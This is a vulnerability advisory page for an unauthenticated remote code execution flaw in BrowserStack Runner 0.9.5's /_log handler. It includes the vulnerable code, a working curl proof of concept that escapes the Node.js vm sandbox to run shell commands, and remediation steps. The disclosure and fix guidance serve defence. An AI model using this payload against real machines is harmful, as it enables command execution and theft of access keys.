8.7high
BrowserStack Runner 0.9.5 Unauthenticated RCE via /_log HTTP Handler
- Severity
- 8.7high CVSS:4.0 by VulnCheck
- Exploit likelihood
- 0.89% (higher than 60% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- VulnCheck
- Also known as
- GHSA-6vr3-7wcx-v5g5
Description
BrowserStack Runner through 0.9.5 contains a remote code execution vulnerability in the /_log HTTP handler that allows unauthenticated network-adjacent attackers to execute arbitrary code by submitting crafted JSON request bodies to the handler, which passes user-supplied data to vm.runInNewContext() combined with eval(). Attackers can escape the Node.js vm sandbox by leveraging a host-context Function reference through util.format to access the host process via this.constructor.constructor, achieving full remote code execution on the underlying system without any authentication.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| browserstack browserstack-runner | up to 0.9.5 | CVE List |
| browserstack-runner (npm) | up to 0.9.5 | GitHub Advisory Database |
All scores
| VulnCheck | 8.7high CVSS:4.0 | CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| VulnCheck | 8.8high CVSS:3.1 | CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| GitHub | 8.8high CVSS:3.1 | CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| GitHub | high CVSS:4.0 | CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.
What each source says
CVE List
BrowserStack Runner through 0.9.5 contains a remote code execution vulnerability in the /_log HTTP handler that allows unauthenticated network-adjacent attackers to execute arbitrary code by submitting crafted JSON request bodies to the handler, which passes user-supplied data to vm.runInNewContext() combined with eval(). Attackers can escape the Node.js vm sandbox by leveraging a host-context Function reference through util.format to access the host process via this.constructor.constructor, achieving full remote code execution on the underlying system without any authentication.
GitHub Advisory Database
Summary
The HTTP handler /_log in lib/server.js (lines 491–515) of browserstack-runner passes unauthenticated user-supplied data to vm.runInNewContext() combined with eval(), enabling a sandbox escape and arbitrary code execution on the host system.
Details
When browserstack-runner starts, it creates an HTTP server on port 8888 (configurable) that listens on all network interfaces (0.0.0.0). The /_log endpoint accepts POST requests and processes the JSON body as follows:
// lib/server.js lines 504-510
var context = { input: query.arguments, format: util.format, output: '' };
var tryEvalOrString = 'function (arg) { try { return eval(\'o = \' + arg); } catch (e) { return arg; } }';
vm.runInNewContext('output = format.apply(null, input.map(' + tryEvalOrString + '));', context);
The vm module is not a security mechanism per Node.js documentation. The context object contains a reference to util.format (a host-context Function), enabling sandbox escape via this.constructor.constructor("return process")().
Unlike the _progress and _report handlers which verify worker UUID authentication, the _log handler does not gate on authentication.
Proof of Concept
# Terminal 1: start the runner
echo '<html><body>t</body></html>' > t.html
echo '{"username":"X","key":"X","test_path":"t.html","test_framework":"qunit","browsers":[]}' > browserstack.json
node bin/runner.js
# Terminal 2: exploit
curl -s http://127.0.0.1:8888/_log \
-H "Content-Type: application/json" \
-d '{"arguments":["this.constructor.constructor(\"return process.mainModule.require(\`child_process\`).execSync(\`id\`).toString()\")()"]}'
# Terminal 1 output shows:
# [undefined] uid=1000(user) gid=1000(user) ...
Impact
An attacker on the same network as a developer running browserstack-runner can execute arbitrary commands on the developer's machine without authentication. The attack window exists for the duration of the test run (typically 1–15 minutes). The BrowserStack access key is accessible in the same process context via environment variables.
Remediation
- Remove
eval()andvm.runInNewContext()from the_loghandler — useJSON.stringify()for safe logging - Add UUID authentication to
_log(matching_progressand_reporthandlers) - Bind the HTTP server on
127.0.0.1instead of0.0.0.0
Credit
Christ Bowel Bouchuen
NVD (es)
BrowserStack Runner hasta la versión 0.9.5 contiene una vulnerabilidad de ejecución remota de código en el gestor HTTP /_log que permite a atacantes adyacentes a la red sin autenticación ejecutar código arbitrario al enviar cuerpos de solicitud JSON manipulados al gestor, el cual pasa datos proporcionados por el usuario a vm.runInNewContext() combinado con eval(). Los atacantes pueden escapar del sandbox vm de Node.js aprovechando una referencia de función de contexto de host a través de util.format para acceder al proceso del host a través de this.constructor.constructor, logrando una ejecución remota de código completa en el sistema subyacente sin autenticación alguna.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-49143 changed 2026-11-08 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-6vr3-7wcx-v5g5 changed 2026-06-03 | CC-BY-4.0 |
| NVD | CVE-2026-49143 changed 2026-10-08 | Public domain |